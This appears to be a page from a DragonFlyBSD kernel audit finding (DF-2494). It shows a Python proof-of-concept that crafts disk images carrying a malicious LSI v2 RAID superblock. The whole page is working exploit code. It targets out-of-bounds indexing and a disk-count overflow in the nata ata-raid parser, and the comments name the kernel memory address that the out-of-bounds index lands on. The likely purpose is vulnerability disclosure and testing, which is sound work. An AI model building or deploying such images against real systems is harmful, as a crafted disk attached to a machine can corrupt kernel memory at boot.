⬢ DragonFlyBSD Kernel Audit
DF-2494 / craft_meta.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""Craft raw disk images whose LAST sector carries a malicious LSI v2
("$XIDE$") RAID superblock for nata's ata-raid.c parser.

LSIV2_LBA(dev) = ad_softc->total_secs - 1  (ata-raid.h:456-457)

struct lsiv2_raid_conf (ata-raid.h:459-513) is exactly 512 bytes:
  u8 lsi_id[6]            off 0     "$XIDE$"
  u8 dummy_0              off 6
  u8 flags                off 7
  u16 version             off 8
  u8 config_entries       off 10
  u8 raid_count           off 11
  u8 total_disks          off 12
  u8 dummy_1              off 13
  u16 dummy_2             off 14
  union configs[30]       off 16    (16 bytes each: raid view / disk view)
  u8 disk_number          off 496
  u8 raid_number          off 497
  u32 timestamp           off 498
  u8 filler[10]           off 502

raid view: u8 type; u8 dummy_0; u16 stripe_sectors; u8 array_width;
           u8 disk_count; u8 config_offset; u8 dummy_1; u8 flags;
           u32 total_sectors; u8 filler[3]
disk view: u8 device; u8 dummy_0; u32 disk_sectors; u8 disk_number;
           u8 raid_number; u8 flags; u8 filler[7]
"""
import struct
import sys

NSECT = 131072          # 64 MB image
SS = 512

MAGIC = b"$XIDE$"
T_RAID0 = 0x01


def meta(raid_number, disk_number, disk_count, raid_entry=None,
         conf_entry=None, raid_type=T_RAID0, total_sectors=0x1000000):
    """Build one crafted struct lsiv2_raid_conf.

    raid_entry: which configs[] the parser reads the array descriptor
      from (= meta->raid_number in the parser).
    conf_entry: which configs[] the parser reads the per-disk descriptor
      from (= (configs[raid_entry].raid.config_offset >> 4) +
      meta->disk_number - 1 in the parser). config_offset is set to 0 so
      conf_entry == disk_number - 1.
    """
    if raid_entry is None:
        raid_entry = raid_number
    if conf_entry is None:
        conf_entry = disk_number - 1
    m = bytearray(SS)
    m[0:6] = MAGIC
    m[7] = 0                       # flags
    struct.pack_into("<H", m, 8, 1)   # version
    m[10] = 1                      # config_entries
    m[11] = 1                      # raid_count
    m[12] = 2                      # total_disks (unused by parser)
    # configs[raid_entry].raid
    b = 16 + raid_entry * 16
    m[b + 0] = raid_type           # .raid.type
    m[b + 1] = 0                   # .raid.dummy_0
    struct.pack_into("<H", m, b + 2, 64)      # .raid.stripe_sectors
    m[b + 4] = 2                   # .raid.array_width
    m[b + 5] = disk_count          # .raid.disk_count -> total_disks
    m[b + 6] = 0                   # .raid.config_offset (conf_entry=D-1)
    m[b + 7] = 0                   # .raid.flags
    struct.pack_into("<I", m, b + 8, total_sectors)  # .raid.total_sectors
    # configs[conf_entry].disk (device != LSIV2_D_NONE so the disk gets
    # registered; overlay hazard avoided by keeping entries distinct)
    d = 16 + conf_entry * 16
    m[d + 0] = 0x00                # .disk.device = LSIV2_D_MASTER
    m[d + 1] = 0                   # .disk.dummy_0
    struct.pack_into("<I", m, d + 2, 99999)   # .disk.disk_sectors
    m[d + 6] = disk_number         # .disk.disk_number
    m[d + 7] = raid_number         # .disk.raid_number
    m[d + 8] = 0                   # .disk.flags
    # trailer
    m[496] = disk_number
    m[497] = raid_number
    struct.pack_into("<I", m, 498, 0x11223344)   # timestamp
    return bytes(m)


def build(path, md):
    with open(path, "wb") as f:
        f.seek((NSECT - 1) * SS)
        f.write(md)
        f.seek(NSECT * SS - 1)
        f.write(b"\0")
    print("wrote", path, f"{NSECT} sectors; metadata at LBA {NSECT-1}")


if __name__ == "__main__":
    # DF-2494 authentic: raid_number=23 -> raidp[0+23] lands exactly on
    # &sysctl__hw_amr_children (kernel BSS 0xffffffff8114dec0 + 0xb8).
    # Deterministic: configs[23] is inside the 30-entry table.
    build("/tmp/opencode/craft_df2494_r23.img",
          meta(raid_number=23, disk_number=2, disk_count=2))
    # DF-2495 authentic: raid_number=0 (in-bounds raidp[0]) with
    # disk_count=255 -> rdp->total_disks=255 (MAX_DISKS=16).
    build("/tmp/opencode/craft_df2495_td255.img",
          meta(raid_number=0, disk_number=2, disk_count=255))
    # DF-2494 authentic variant: valid in-bounds array (raid_number=0)
    # -> proves attacker arrays auto-assemble at boot (ar0 prints
    # "LSILogic v2 MegaRAID").
    build("/tmp/opencode/craft_valid_ar0.img",
          meta(raid_number=0, disk_number=2, disk_count=2))